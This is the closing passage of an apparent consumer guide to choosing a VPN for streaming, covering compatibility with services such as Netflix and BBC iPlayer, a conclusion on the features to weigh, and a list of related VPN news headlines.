Ensure the VPN is compatible with major streaming platforms you want to access, such as Netflix, Disney+, Hulu, Amazon Prime Video, HBO Max, and BBC iPlayer. Compatibility with these services ensures a smooth streaming experience and value for your subscription.

****Conclusion****

When selecting a VPN for streaming, consider these key features to make an informed choice. Look for speed, encryption, extensive server locations, streaming optimization, and privacy protections. Ensure the VPN provider doesn’t store user data and that its pricing, support, and device compatibility meet your expectations. Taking these steps will give you the best streaming experience while maintaining your online privacy.

1.  **Everything you need to know about VPN tracking**
2.  **Almost Every Major Free VPN Service is a Glorified Data Farm**
3.  **Surfshark VPN Data Breach Awareness with See-Through Toilet**
4.  **ASUS and NordVPN Partner to Integrate VPN Service into Routers**
5.  **Google Launches Verification Badges for Security Tested VPN Apps**

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